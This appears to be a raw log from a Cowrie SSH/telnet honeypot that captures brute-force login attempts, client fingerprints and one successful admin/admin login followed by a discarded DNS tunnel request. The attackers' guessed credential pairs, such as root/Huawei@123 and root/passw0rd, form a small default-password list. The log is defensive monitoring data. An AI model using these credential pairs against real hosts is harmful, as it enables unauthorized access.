{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:58:45.044945Z","src_ip":"159.223.45.177","session":"6085f973d0bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:58:57.817964Z","src_ip":"122.168.114.167","session":"6ebea7267529","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.7","message":"Connection lost after 21.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:59:02.800436Z","src_ip":"122.168.114.167","session":"6ebea7267529","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6376,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6aadcda84b8","protocol":"ssh","message":"New connection: 87.251.64.176:6376 (10.17.0.5:22) [session: d6aadcda84b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:59:02.896567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:59:02.902935Z","src_ip":"87.251.64.176","session":"d6aadcda84b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:59:03.002516Z","src_ip":"87.251.64.176","session":"d6aadcda84b8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:59:03.291598Z","src_ip":"87.251.64.176","session":"d6aadcda84b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:59:03.391350Z","session":"d6aadcda84b8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:59:03.489374Z","src_ip":"87.251.64.176","session":"d6aadcda84b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:59:03.588621Z","src_ip":"87.251.64.176","session":"d6aadcda84b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":50924,"dst_ip":"159.203.135.109","dst_port":22,"session":"25c9ee3a6c04","protocol":"ssh","message":"New connection: 122.168.114.167:50924 (159.203.135.109:22) [session: 25c9ee3a6c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:59:19.901905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:59:23.738178Z","src_ip":"122.168.114.167","session":"25c9ee3a6c04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:59:23.741698Z","src_ip":"122.168.114.167","session":"25c9ee3a6c04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:59:41.176858Z","src_ip":"122.168.114.167","session":"25c9ee3a6c04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.4","message":"Connection lost after 24.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:59:44.310094Z","src_ip":"122.168.114.167","session":"25c9ee3a6c04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":53340,"dst_ip":"159.203.135.109","dst_port":22,"session":"881719b4318b","protocol":"ssh","message":"New connection: 122.168.114.167:53340 (159.203.135.109:22) [session: 881719b4318b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:02.833168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:05.339628Z","src_ip":"122.168.114.167","session":"881719b4318b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:05.347067Z","src_ip":"122.168.114.167","session":"881719b4318b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.75.222.164","src_port":60532,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf873e98db86","protocol":"ssh","message":"New connection: 106.75.222.164:60532 (10.17.0.5:22) [session: bf873e98db86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:11.480215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:11.487238Z","src_ip":"106.75.222.164","session":"bf873e98db86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:11.740199Z","src_ip":"106.75.222.164","session":"bf873e98db86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fsuser","password":"fsuser","message":"login attempt [fsuser/fsuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:12.786554Z","src_ip":"106.75.222.164","session":"bf873e98db86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:13.960893Z","src_ip":"122.168.114.167","session":"881719b4318b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:14.046087Z","src_ip":"106.75.222.164","session":"bf873e98db86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.5.241.8","src_port":38554,"dst_ip":"159.203.135.109","dst_port":23,"session":"367c0474826c","protocol":"telnet","message":"New connection: 45.5.241.8:38554 (159.203.135.109:23) [session: 367c0474826c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:16.507092Z"}
{"eventid":"cowrie.session.closed","duration":"15.0","message":"Connection lost after 15.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:17.880340Z","src_ip":"122.168.114.167","session":"881719b4318b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.215.198.26","src_port":20463,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5e394896fc1","protocol":"telnet","message":"New connection: 106.215.198.26:20463 (159.203.135.109:23) [session: d5e394896fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:23.548242Z"}
{"eventid":"cowrie.session.closed","duration":12.764929056167603,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:36.312995Z","src_ip":"106.215.198.26","session":"d5e394896fc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":8052,"dst_ip":"159.203.135.109","dst_port":22,"session":"58bcefda8b7f","protocol":"ssh","message":"New connection: 159.223.45.177:8052 (159.203.135.109:22) [session: 58bcefda8b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:41.065801Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":55750,"dst_ip":"159.203.135.109","dst_port":22,"session":"0402e8db5830","protocol":"ssh","message":"New connection: 122.168.114.167:55750 (159.203.135.109:22) [session: 0402e8db5830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:42.168859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:43.712695Z","src_ip":"122.168.114.167","session":"0402e8db5830","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:43.719080Z","src_ip":"122.168.114.167","session":"0402e8db5830","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:47.507113Z","src_ip":"159.223.45.177","session":"58bcefda8b7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:51.586075Z","src_ip":"122.168.114.167","session":"0402e8db5830","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.5","message":"Connection lost after 12.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:00:54.717092Z","src_ip":"122.168.114.167","session":"0402e8db5830","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":33000,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f41a77b396b","protocol":"ssh","message":"New connection: 210.114.22.126:33000 (10.17.0.5:22) [session: 2f41a77b396b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:01:16.817255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:01:16.822773Z","src_ip":"210.114.22.126","session":"2f41a77b396b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:01:17.112592Z","src_ip":"210.114.22.126","session":"2f41a77b396b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user01","message":"login attempt [root/user01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:01:18.310076Z","src_ip":"210.114.22.126","session":"2f41a77b396b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:01:19.519233Z","src_ip":"210.114.22.126","session":"2f41a77b396b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":58154,"dst_ip":"159.203.135.109","dst_port":22,"session":"358457cd0859","protocol":"ssh","message":"New connection: 122.168.114.167:58154 (159.203.135.109:22) [session: 358457cd0859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:01:20.918830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:01:23.360459Z","src_ip":"122.168.114.167","session":"358457cd0859","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:01:23.365581Z","src_ip":"122.168.114.167","session":"358457cd0859","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:01:33.086918Z","src_ip":"122.168.114.167","session":"358457cd0859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:01:36.714452Z","src_ip":"122.168.114.167","session":"358457cd0859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":54548,"dst_ip":"159.203.135.109","dst_port":22,"session":"af54ecfb4fa6","protocol":"ssh","message":"New connection: 159.223.45.177:54548 (159.203.135.109:22) [session: af54ecfb4fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:01:55.626395Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.215.94.143","src_port":32529,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bc7bace31de","protocol":"telnet","message":"New connection: 106.215.94.143:32529 (10.17.0.5:23) [session: 6bc7bace31de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:01:57.086908Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:01:58.375566Z","src_ip":"159.223.45.177","session":"af54ecfb4fa6","protocol":"ssh"}
